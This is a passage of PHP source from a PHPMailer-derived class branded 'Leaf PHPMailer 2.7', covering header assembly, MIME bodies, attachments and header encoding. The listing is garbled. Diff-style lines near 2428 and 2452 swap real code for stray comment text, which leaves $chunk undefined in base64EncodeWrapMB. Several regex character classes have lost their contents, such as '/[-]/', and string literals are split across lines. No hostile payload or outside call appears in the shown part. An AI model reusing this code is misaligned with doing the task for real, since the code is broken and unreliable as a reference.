        if (($this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail') and count($this->bcc) > 0) {
1733
            $result.= $this->addrAppend('Bcc', $this->bcc);
1734
        }
1735
        if (count($this->ReplyTo) > 0) {
1736
            $result.= $this->addrAppend('Reply-To', $this->ReplyTo);
1737
        }
1738
        // mail() sets the subject itself
1739
        if ($this->Mailer != 'mail') {
1740
            $result.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
1741
        }
1742
        if ($this->MessageID != '') {
1743
            $this->lastMessageID = $this->MessageID;
1744
        } else {
1745
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
1746
        }
1747
        $result.= $this->headerLine('Message-ID', $this->lastMessageID);
1748
        if (!is_null($this->Priority)) {
1749
            $result.= $this->headerLine('X-Priority', $this->Priority);
1750
        }
1751
        if ($this->XMailer == '') {
1752
            $result.= $this->headerLine('X-Mailer', 'Leaf PHPMailer 2.7 (leafmailer.pw)');
1753
        } else {
1754
            $myXmailer = trim($this->XMailer);
1755
            if ($myXmailer) {
1756
                $result.= $this->headerLine('X-Mailer', $myXmailer);
1757
            }
1758
        }
1759
        if ($this->ConfirmReadingTo != '') {
1760
            $result.= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
1761
        }
1762
        // Add custom headers
1763
        foreach ($this->CustomHeader as $header) {
1764
            $result.= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1])));
1765
        }
1766
        if (!$this->sign_key_file) {
1767
            $result.= $this->headerLine('MIME-Version', '1.0');
1768
            $result.= $this->getMailMIME();
1769
        }
1770
        return $result;
1771
    }
1772
    /**
1773
     * Get the message MIME type headers.
1774
     * @access public
1775
     * @return string
1776
     */
1777
    public function getMailMIME() {
1778
        $result = '';
1779
        $ismultipart = true;
1780
        switch ($this->message_type) {
1781
            case 'inline':
1782
                $result.= $this->headerLine('Content-Type', 'multipart/related;');
1783
                $result.= $this->textLine("	boundary=\"" . $this->boundary[1] . '"');
1784
            break;
1785
            case 'attach':
1786
            case 'inline_attach':
1787
            case 'alt_attach':
1788
            case 'alt_inline_attach':
1789
                $result.= $this->headerLine('Content-Type', 'multipart/mixed;');
1790
                $result.= $this->textLine("	boundary=\"" . $this->boundary[1] . '"');
1791
            break;
1792
            case 'alt':
1793
            case 'alt_inline':
1794
                $result.= $this->headerLine('Content-Type', 'multipart/alternative;');
1795
                $result.= $this->textLine("	boundary=\"" . $this->boundary[1] . '"');
1796
            break;
1797
            default:
1798
                // Catches case 'plain': and case '':
1799
                $result.= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
1800
                $ismultipart = false;
1801
            break;
1802
        }
1803
        // RFC1341 part 5 says 7bit is assumed if not specified
1804
        if ($this->Encoding != '7bit') {
1805
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
1806
            if ($ismultipart) {
1807
                if ($this->Encoding == '8bit') {
1808
                    $result.= $this->headerLine('Content-Transfer-Encoding', '8bit');
1809
                }
1810
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
1811
                
1812
            } else {
1813
                $result.= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
1814
            }
1815
        }
1816
        if ($this->Mailer != 'mail') {
1817
            $result.= $this->LE;
1818
        }
1819
        return $result;
1820
    }
1821
    /**
1822
     * Returns the whole MIME message.
1823
     * Includes complete headers and body.
1824
     * Only valid post preSend().
1825
     * @see PHPMailer::preSend()
1826
     * @access public
1827
     * @return string
1828
     */
1829
    public function getSentMIMEMessage() {
1830
        return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
1831
    }
1832
    /**
1833
     * Assemble the message body.
1834
     * Returns an empty string on failure.
1835
     * @access public
1836
     * @throws phpmailerException
1837
     * @return string The assembled message body
1838
     */
1839
    public function createBody() {
1840
        $body = '';
1841
        //Create unique IDs and preset boundaries
1842
        $this->uniqueid = md5(uniqid(time()));
1843
        $this->boundary[1] = 'b1_' . $this->uniqueid;
1844
        $this->boundary[2] = 'b2_' . $this->uniqueid;
1845
        $this->boundary[3] = 'b3_' . $this->uniqueid;
1846
        if ($this->sign_key_file) {
1847
            $body.= $this->getMailMIME() . $this->LE;
1848
        }
1849
        $this->setWordWrap();
1850
        $bodyEncoding = $this->Encoding;
1851
        $bodyCharSet = $this->CharSet;
1852
        //Can we do a 7-bit downgrade?
1853
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
1854
            $bodyEncoding = '7bit';
1855
            $bodyCharSet = 'us-ascii';
1856
        }
1857
        //If lines are too long, and we're not already using an encoding that will shorten them,
1858
        //change to quoted-printable transfer encoding
1859
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
1860
            $this->Encoding = 'quoted-printable';
1861
            $bodyEncoding = 'quoted-printable';
1862
        }
1863
        $altBodyEncoding = $this->Encoding;
1864
        $altBodyCharSet = $this->CharSet;
1865
        //Can we do a 7-bit downgrade?
1866
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
1867
            $altBodyEncoding = '7bit';
1868
            $altBodyCharSet = 'us-ascii';
1869
        }
1870
        //If lines are too long, and we're not already using an encoding that will shorten them,
1871
        //change to quoted-printable transfer encoding
1872
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
1873
            $altBodyEncoding = 'quoted-printable';
1874
        }
1875
        //Use this as a preamble in all multipart message types
1876
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
1877
        switch ($this->message_type) {
1878
            case 'inline':
1879
                $body.= $mimepre;
1880
                $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
1881
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1882
                $body.= $this->LE . $this->LE;
1883
                $body.= $this->attachAll('inline', $this->boundary[1]);
1884
            break;
1885
            case 'attach':
1886
                $body.= $mimepre;
1887
                $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
1888
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1889
                $body.= $this->LE . $this->LE;
1890
                $body.= $this->attachAll('attachment', $this->boundary[1]);
1891
            break;
1892
            case 'inline_attach':
1893
                $body.= $mimepre;
1894
                $body.= $this->textLine('--' . $this->boundary[1]);
1895
                $body.= $this->headerLine('Content-Type', 'multipart/related;');
1896
                $body.= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
1897
                $body.= $this->LE;
1898
                $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
1899
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1900
                $body.= $this->LE . $this->LE;
1901
                $body.= $this->attachAll('inline', $this->boundary[2]);
1902
                $body.= $this->LE;
1903
                $body.= $this->attachAll('attachment', $this->boundary[1]);
1904
            break;
1905
            case 'alt':
1906
                $body.= $mimepre;
1907
                $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1908
                $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
1909
                $body.= $this->LE . $this->LE;
1910
                $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
1911
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1912
                $body.= $this->LE . $this->LE;
1913
                if (!empty($this->Ical)) {
1914
                    $body.= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
1915
                    $body.= $this->encodeString($this->Ical, $this->Encoding);
1916
                    $body.= $this->LE . $this->LE;
1917
                }
1918
                $body.= $this->endBoundary($this->boundary[1]);
1919
            break;
1920
            case 'alt_inline':
1921
                $body.= $mimepre;
1922
                $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1923
                $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
1924
                $body.= $this->LE . $this->LE;
1925
                $body.= $this->textLine('--' . $this->boundary[1]);
1926
                $body.= $this->headerLine('Content-Type', 'multipart/related;');
1927
                $body.= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
1928
                $body.= $this->LE;
1929
                $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
1930
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1931
                $body.= $this->LE . $this->LE;
1932
                $body.= $this->attachAll('inline', $this->boundary[2]);
1933
                $body.= $this->LE;
1934
                $body.= $this->endBoundary($this->boundary[1]);
1935
            break;
1936
            case 'alt_attach':
1937
                $body.= $mimepre;
1938
                $body.= $this->textLine('--' . $this->boundary[1]);
1939
                $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
1940
                $body.= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
1941
                $body.= $this->LE;
1942
                $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1943
                $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
1944
                $body.= $this->LE . $this->LE;
1945
                $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
1946
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1947
                $body.= $this->LE . $this->LE;
1948
                $body.= $this->endBoundary($this->boundary[2]);
1949
                $body.= $this->LE;
1950
                $body.= $this->attachAll('attachment', $this->boundary[1]);
1951
            break;
1952
            case 'alt_inline_attach':
1953
                $body.= $mimepre;
1954
                $body.= $this->textLine('--' . $this->boundary[1]);
1955
                $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
1956
                $body.= $this->textLine("	boundary=\"" . $this->boundary[2] . '"');
1957
                $body.= $this->LE;
1958
                $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1959
                $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
1960
                $body.= $this->LE . $this->LE;
1961
                $body.= $this->textLine('--' . $this->boundary[2]);
1962
                $body.= $this->headerLine('Content-Type', 'multipart/related;');
1963
                $body.= $this->textLine("	boundary=\"" . $this->boundary[3] . '"');
1964
                $body.= $this->LE;
1965
                $body.= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
1966
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1967
                $body.= $this->LE . $this->LE;
1968
                $body.= $this->attachAll('inline', $this->boundary[3]);
1969
                $body.= $this->LE;
1970
                $body.= $this->endBoundary($this->boundary[2]);
1971
                $body.= $this->LE;
1972
                $body.= $this->attachAll('attachment', $this->boundary[1]);
1973
            break;
1974
            default:
1975
                // catch case 'plain' and case ''
1976
                $body.= $this->encodeString($this->Body, $bodyEncoding);
1977
            break;
1978
        }
1979
        if ($this->isError()) {
1980
            $body = '';
1981
        } elseif ($this->sign_key_file) {
1982
            try {
1983
                if (!defined('PKCS7_TEXT')) {
1984
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
1985
                }
1986
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
1987
                $file = tempnam(sys_get_temp_dir(), 'mail');
1988
                if (false === file_put_contents($file, $body)) {
1989
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
1990
                }
1991
                $signed = tempnam(sys_get_temp_dir(), 'signed');
1992
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
1993
                if (empty($this->sign_extracerts_file)) {
1994
                    $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null);
1995
                } else {
1996
                    $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file);
1997
                }
1998
                if ($sign) {
1999
                    @unlink($file);
2000
                    $body = file_get_contents($signed);
2001
                    @unlink($signed);
2002
                    //The message returned by openssl contains both headers and body, so need to split them up
2003
                    $parts = explode("
2004
2005
", $body, 2);
2006
                    $this->MIMEHeader.= $parts[0] . $this->LE . $this->LE;
2007
                    $body = $parts[1];
2008
                } else {
2009
                    @unlink($file);
2010
                    @unlink($signed);
2011
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
2012
                }
2013
            }
2014
            catch(phpmailerException $exc) {
2015
                $body = '';
2016
                if ($this->exceptions) {
2017
                    throw $exc;
2018
                }
2019
            }
2020
        }
2021
        return $body;
2022
    }
2023
    /**
2024
     * Return the start of a message boundary.
2025
     * @access protected
2026
     * @param string $boundary
2027
     * @param string $charSet
2028
     * @param string $contentType
2029
     * @param string $encoding
2030
     * @return string
2031
     */
2032
    protected function getBoundary($boundary, $charSet, $contentType, $encoding) {
2033
        $result = '';
2034
        if ($charSet == '') {
2035
            $charSet = $this->CharSet;
2036
        }
2037
        if ($contentType == '') {
2038
            $contentType = $this->ContentType;
2039
        }
2040
        if ($encoding == '') {
2041
            $encoding = $this->Encoding;
2042
        }
2043
        $result.= $this->textLine('--' . $boundary);
2044
        $result.= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
2045
        $result.= $this->LE;
2046
        // RFC1341 part 5 says 7bit is assumed if not specified
2047
        if ($encoding != '7bit') {
2048
            $result.= $this->headerLine('Content-Transfer-Encoding', $encoding);
2049
        }
2050
        $result.= $this->LE;
2051
        return $result;
2052
    }
2053
    /**
2054
     * Return the end of a message boundary.
2055
     * @access protected
2056
     * @param string $boundary
2057
     * @return string
2058
     */
2059
    protected function endBoundary($boundary) {
2060
        return $this->LE . '--' . $boundary . '--' . $this->LE;
2061
    }
2062
    /**
2063
     * Set the message type.
2064
     * PHPMailer only supports some preset message types,
2065
     * not arbitrary MIME structures.
2066
     * @access protected
2067
     * @return void
2068
     */
2069
    protected function setMessageType() {
2070
        $type = array();
2071
        if ($this->alternativeExists()) {
2072
            $type[] = 'alt';
2073
        }
2074
        if ($this->inlineImageExists()) {
2075
            $type[] = 'inline';
2076
        }
2077
        if ($this->attachmentExists()) {
2078
            $type[] = 'attach';
2079
        }
2080
        $this->message_type = implode('_', $type);
2081
        if ($this->message_type == '') {
2082
            $this->message_type = 'plain';
2083
        }
2084
    }
2085
    /**
2086
     * Format a header line.
2087
     * @access public
2088
     * @param string $name
2089
     * @param string $value
2090
     * @return string
2091
     */
2092
    public function headerLine($name, $value) {
2093
        return $name . ': ' . $value . $this->LE;
2094
    }
2095
    /**
2096
     * Return a formatted mail line.
2097
     * @access public
2098
     * @param string $value
2099
     * @return string
2100
     */
2101
    public function textLine($value) {
2102
        return $value . $this->LE;
2103
    }
2104
    /**
2105
     * Add an attachment from a path on the filesystem.
2106
     * Returns false if the file could not be found or read.
2107
     * @param string $path Path to the attachment.
2108
     * @param string $name Overrides the attachment name.
2109
     * @param string $encoding File encoding (see $Encoding).
2110
     * @param string $type File extension (MIME) type.
2111
     * @param string $disposition Disposition to use
2112
     * @throws phpmailerException
2113
     * @return boolean
2114
     */
2115
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') {
2116
        try {
2117
            if (!@is_file($path)) {
2118
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
2119
            }
2120
            // If a MIME type is not specified, try to work it out from the file name
2121
            if ($type == '') {
2122
                $type = self::filenameToType($path);
2123
            }
2124
            $filename = basename($path);
2125
            if ($name == '') {
2126
                $name = $filename;
2127
            }
2128
            $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
2129
            6 => $disposition, 7 => 0);
2130
        }
2131
        catch(phpmailerException $exc) {
2132
            $this->setError($exc->getMessage());
2133
            $this->edebug($exc->getMessage());
2134
            if ($this->exceptions) {
2135
                throw $exc;
2136
            }
2137
            return false;
2138
        }
2139
        return true;
2140
    }
2141
    /**
2142
     * Return the array of attachments.
2143
     * @return array
2144
     */
2145
    public function getAttachments() {
2146
        return $this->attachment;
2147
    }
2148
    /**
2149
     * Attach all file, string, and binary attachments to the message.
2150
     * Returns an empty string on failure.
2151
     * @access protected
2152
     * @param string $disposition_type
2153
     * @param string $boundary
2154
     * @return string
2155
     */
2156
    protected function attachAll($disposition_type, $boundary) {
2157
        // Return text of body
2158
        $mime = array();
2159
        $cidUniq = array();
2160
        $incl = array();
2161
        // Add all attachments
2162
        foreach ($this->attachment as $attachment) {
2163
            // Check if it is a valid disposition_filter
2164
            if ($attachment[6] == $disposition_type) {
2165
                // Check for string attachment
2166
                $string = '';
2167
                $path = '';
2168
                $bString = $attachment[5];
2169
                if ($bString) {
2170
                    $string = $attachment[0];
2171
                } else {
2172
                    $path = $attachment[0];
2173
                }
2174
                $inclhash = md5(serialize($attachment));
2175
                if (in_array($inclhash, $incl)) {
2176
                    continue;
2177
                }
2178
                $incl[] = $inclhash;
2179
                $name = $attachment[2];
2180
                $encoding = $attachment[3];
2181
                $type = $attachment[4];
2182
                $disposition = $attachment[6];
2183
                $cid = $attachment[7];
2184
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
2185
                    continue;
2186
                }
2187
                $cidUniq[$cid] = true;
2188
                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
2189
                //Only include a filename property if we have one
2190
                if (!empty($name)) {
2191
                    $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE);
2192
                } else {
2193
                    $mime[] = sprintf('Content-Type: %s%s', $type, $this->LE);
2194
                }
2195
                // RFC1341 part 5 says 7bit is assumed if not specified
2196
                if ($encoding != '7bit') {
2197
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
2198
                }
2199
                if ($disposition == 'inline') {
2200
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
2201
                }
2202
                // If a filename contains any of these chars, it should be quoted,
2203
                // but not otherwise: RFC2183 & RFC2045 5.1
2204
                // Fixes a warning in IETF's msglint MIME checker
2205
                // Allow for bypassing the Content-Disposition header totally
2206
                if (!(empty($disposition))) {
2207
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
2208
                    if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
2209
                        $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE);
2210
                    } else {
2211
                        if (!empty($encoded_name)) {
2212
                            $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE);
2213
                        } else {
2214
                            $mime[] = sprintf('Content-Disposition: %s%s', $disposition, $this->LE . $this->LE);
2215
                        }
2216
                    }
2217
                } else {
2218
                    $mime[] = $this->LE;
2219
                }
2220
                // Encode as string attachment
2221
                if ($bString) {
2222
                    $mime[] = $this->encodeString($string, $encoding);
2223
                    if ($this->isError()) {
2224
                        return '';
2225
                    }
2226
                    $mime[] = $this->LE . $this->LE;
2227
                } else {
2228
                    $mime[] = $this->encodeFile($path, $encoding);
2229
                    if ($this->isError()) {
2230
                        return '';
2231
                    }
2232
                    $mime[] = $this->LE . $this->LE;
2233
                }
2234
            }
2235
        }
2236
        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
2237
        return implode('', $mime);
2238
    }
2239
    /**
2240
     * Encode a file attachment in requested format.
2241
     * Returns an empty string on failure.
2242
     * @param string $path The full path to the file
2243
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2244
     * @throws phpmailerException
2245
     * @access protected
2246
     * @return string
2247
     */
2248
    protected function encodeFile($path, $encoding = 'base64') {
2249
        try {
2250
            if (!is_readable($path)) {
2251
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
2252
            }
2253
            $magic_quotes = get_magic_quotes_runtime();
2254
            if ($magic_quotes) {
2255
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
2256
                    set_magic_quotes_runtime(false);
2257
                } else {
2258
                    //Doesn't exist in PHP 5.4, but we don't need to check because
2259
                    //get_magic_quotes_runtime always returns false in 5.4+
2260
                    //so it will never get here
2261
                    ini_set('magic_quotes_runtime', false);
2262
                }
2263
            }
2264
            $file_buffer = file_get_contents($path);
2265
            $file_buffer = $this->encodeString($file_buffer, $encoding);
2266
            if ($magic_quotes) {
2267
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
2268
                    set_magic_quotes_runtime($magic_quotes);
2269
                } else {
2270
                    ini_set('magic_quotes_runtime', $magic_quotes);
2271
                }
2272
            }
2273
            return $file_buffer;
2274
        }
2275
        catch(Exception $exc) {
2276
            $this->setError($exc->getMessage());
2277
            return '';
2278
        }
2279
    }
2280
    /**
2281
     * Encode a string in requested format.
2282
     * Returns an empty string on failure.
2283
     * @param string $str The text to encode
2284
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2285
     * @access public
2286
     * @return string
2287
     */
2288
    public function encodeString($str, $encoding = 'base64') {
2289
        $encoded = '';
2290
        switch (strtolower($encoding)) {
2291
            case 'base64':
2292
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2293
            break;
2294
            case '7bit':
2295
            case '8bit':
2296
                $encoded = $this->fixEOL($str);
2297
                // Make sure it ends with a line break
2298
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
2299
                    $encoded.= $this->LE;
2300
                }
2301
            break;
2302
            case 'binary':
2303
                $encoded = $str;
2304
            break;
2305
            case 'quoted-printable':
2306
                $encoded = $this->encodeQP($str);
2307
            break;
2308
            default:
2309
                $this->setError($this->lang('encoding') . $encoding);
2310
            break;
2311
        }
2312
        return $encoded;
2313
    }
2314
    /**
2315
     * Encode a header string optimally.
2316
     * Picks shortest of Q, B, quoted-printable or none.
2317
     * @access public
2318
     * @param string $str
2319
     * @param string $position
2320
     * @return string
2321
     */
2322
    public function encodeHeader($str, $position = 'text') {
2323
        $matchcount = 0;
2324
        switch (strtolower($position)) {
2325
            case 'phrase':
2326
                if (!preg_match('/[-]/', $str)) {
2327
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
2328
                    $encoded = addcslashes($str, "..\"");
2329
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2330
                        return ($encoded);
2331
                    } else {
2332
                        return ("\"$encoded\"");
2333
                    }
2334
                }
2335
                $matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
2336
            break;
2337
                /** @noinspection PhpMissingBreakStatementInspection */
2338
            case 'comment':
2339
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
2340
                // Intentional fall-through
2341
                
2342
            case 'text':
2343
            default:
2344
                $matchcount+= preg_match_all('/[---]/', $str, $matches);
2345
            break;
2346
        }
2347
        //There are no chars that need encoding
2348
        if ($matchcount == 0) {
2349
            return ($str);
2350
        }
2351
        $maxlen = 75 - 7 - strlen($this->CharSet);
2352
        // Try to select the encoding which should produce the shortest output
2353
        if ($matchcount > strlen($str) / 3) {
2354
            // More than a third of the content will need encoding, so B encoding will be most efficient
2355
            $encoding = 'B';
2356
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
2357
                // Use a custom function which correctly encodes and wraps long
2358
                // multibyte strings without breaking lines within a character
2359
                $encoded = $this->base64EncodeWrapMB($str, "
2360
");
2361
            } else {
2362
                $encoded = base64_encode($str);
2363
                $maxlen-= $maxlen % 4;
2364
                $encoded = trim(chunk_split($encoded, $maxlen, "
2365
"));
2366
            }
2367
        } else {
2368
            $encoding = 'Q';
2369
            $encoded = $this->encodeQ($str, $position);
2370
            $encoded = $this->wrapText($encoded, $maxlen, true);
2371
            $encoded = str_replace('=' . self::CRLF, "
2372
", trim($encoded));
2373
        }
2374
        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
2375
        $encoded = trim(str_replace("
2376
", $this->LE, $encoded));
2377
        return $encoded;
2378
    }
2379
    /**
2380
     * Check if a string contains multi-byte characters.
2381
     * @access public
2382
     * @param string $str multi-byte text to wrap encode
2383
     * @return boolean
2384
     */
2385
    public function hasMultiBytes($str) {
2386
        if (function_exists('mb_strlen')) {
2387
            return (strlen($str) > mb_strlen($str, $this->CharSet));
2388
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2389
            return false;
2390
        }
2391
    }
2392
    /**
2393
     * Does a string contain any 8-bit chars (in any charset)?
2394
     * @param string $text
2395
     * @return boolean
2396
     */
2397
    public function has8bitChars($text) {
2398
        return (boolean)preg_match('/[-]/', $text);
2399
    }
2400
    /**
2401
     * Encode and wrap long multibyte strings for mail headers
2402
     * without breaking lines within a character.
2403
     * Adapted from a function by paravoid
2404
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
2405
     * @access public
2406
     * @param string $str multi-byte text to wrap encode
2407
     * @param string $linebreak string to use as linefeed/end-of-line
2408
     * @return string
2409
     */
2410
    public function base64EncodeWrapMB($str, $linebreak = null) {
2411
        $start = '=?' . $this->CharSet . '?B?';
2412
        $end = '?=';
2413
        $encoded = '';
2414
        if ($linebreak === null) {
2415
            $linebreak = $this->LE;
2416
        }
2417
        $mb_length = mb_strlen($str, $this->CharSet);
2418
        // Each line must have length <= 75, including $start and $end
2419
        $length = 75 - strlen($start) - strlen($end);
2420
        // Average multi-byte ratio
2421
        $ratio = $mb_length / strlen($str);
2422
        // Base64 has a 4:3 ratio
2423
        $avgLength = floor($length * $ratio * .75);
2424
        for ($i = 0;$i < $mb_length;$i+= $offset) {
2425
            $lookBack = 0;
2426
            do {
2427
                $offset = $avgLength - $lookBack;
2428-
                // Use a custom function which correctly encodes and wraps long  $subject
2428+
2429
                $chunk = base64_encode($chunk);
2430
                $lookBack++;
2431
            } while (strlen($chunk) > $length);
2432
            $encoded.= $chunk . $linebreak;
2433
        }
2434
        // Chomp the last linefeed
2435
        $encoded = substr($encoded, 0, -strlen($linebreak));
2436
        return $encoded;
2437
    }
2438
    /**
2439
     * Encode a string in quoted-printable format.
2440
     * According to RFC2045 section 6.7.
2441
     * @access public
2442
     * @param string $string The text to encode
2443
     * @param integer $line_max Number of chars allowed on a line before wrapping
2444
     * @return string
2445
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
2446
     */
2447
    public function encodeQP($string, $line_max = 76) {
2448
        // Use native function if it's available (>= PHP5.3)
2449
        if (function_exists('quoted_printable_encode')) {
2450
            return quoted_printable_encode($string);
2451
        }
2452-
     * @access public subject
2452+
2453
        $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "
2454
=2E", "
2455
", '='), rawurlencode($string));
2456
        return preg_replace('/[^
2457
]{' . ($line_max - 3) . '}[^=
2458
]{2}/', "$0=
2459
", $string);
2460
    }
2461
    /**
2462
     * Backward compatibility wrapper for an old QP encoding function that was removed.
2463
     * @see PHPMailer::encodeQP()
2464
     * @access public
2465
     * @param string $string
2466
     * @param integer $line_max
2467
     * @param boolean $space_conv
2468
     * @return string
2469
     * @deprecated Use encodeQP instead.
2470
     */
2471
    public function encodeQPphp($string, $line_max = 76,
2472
    /** @noinspection PhpUnusedParameterInspection */
2473
    $space_conv = false) {
2474
        return $this->encodeQP($string, $line_max);
2475
    }
2476
    /**
2477
     * Encode a string using Q encoding.
2478
     * @link http://tools.ietf.org/html/rfc2047
2479
     * @param string $str the text to encode
2480
     * @param string $position Where the text is going to be used, see the RFC for what that means
2481
     * @access public
2482
     * @return string
2483
     */
2484
    public function encodeQ($str, $position = 'text') {
2485
        // There should not be any EOL in the string
2486
        $pattern = '';
2487
        $encoded = str_replace(array("
2488
", "
2489
"), '', $str);
2490
        switch (strtolower($position)) {
2491
            case 'phrase':
2492
                // RFC 2047 section 5.3
2493
                $pattern = '^A-Za-z0-9!*+\/ -';
2494
            break;
2495
                /** @noinspection PhpMissingBreakStatementInspection */
2496
            case 'comment':
2497
                // RFC 2047 section 5.2
2498
                $pattern = '\(\)"';
2499
                // intentional fall-through
2500
                // for this reason we build the $pattern without including delimiters and []
2501
                
2502
            case 'text':
2503
            default:
2504
                // RFC 2047 section 5.1
2505
                // Replace every high ascii, control, =, ? and _ characters
2506
                $pattern = '-	-=?_-' . $pattern;
2507
            break;
2508
        }
2509
        $matches = array();
2510
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
2511
            // If the string contains an '=', make sure it's the first thing we replace
2512
            // so as to avoid double-encoding
2513
            $eqkey = array_search('=', $matches[0]);
2514
            if (false !== $eqkey) {
2515
                unset($matches[0][$eqkey]);
2516
                array_unshift($matches[0], '=');
2517
            }
2518
            foreach (array_unique($matches[0]) as $char) {
2519
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
2520
            }
2521
        }
2522
        // Replace every spaces to _ (more readable than =20)
2523
        return str_replace(' ', '_', $encoded);
2524
    }
2525
    /**
2526
     * Add a string or binary attachment (non-filesystem).
2527
     * This method can be used to attach ascii or binary data,
2528
     * such as a BLOB record from a database.
2529
     * @param string $string String attachment data.
2530
     * @param string $filename Name of the attachment.
2531
     * @param string $encoding File encoding (see $Encoding).
2532
     * @param string $type File extension (MIME) type.
2533
     * @param string $disposition Disposition to use
2534
     * @return void
2535
     */
2536
    public function addStringAttachment($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment') {
2537
        // If a MIME type is not specified, try to work it out from the file name
2538
        if ($type == '') {
2539
            $type = self::filenameToType($filename);
2540
        }
2541
        // Append to $attachment array
2542
        $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
2543
        6 => $disposition, 7 => 0);
2544
    }
2545
    /**
2546
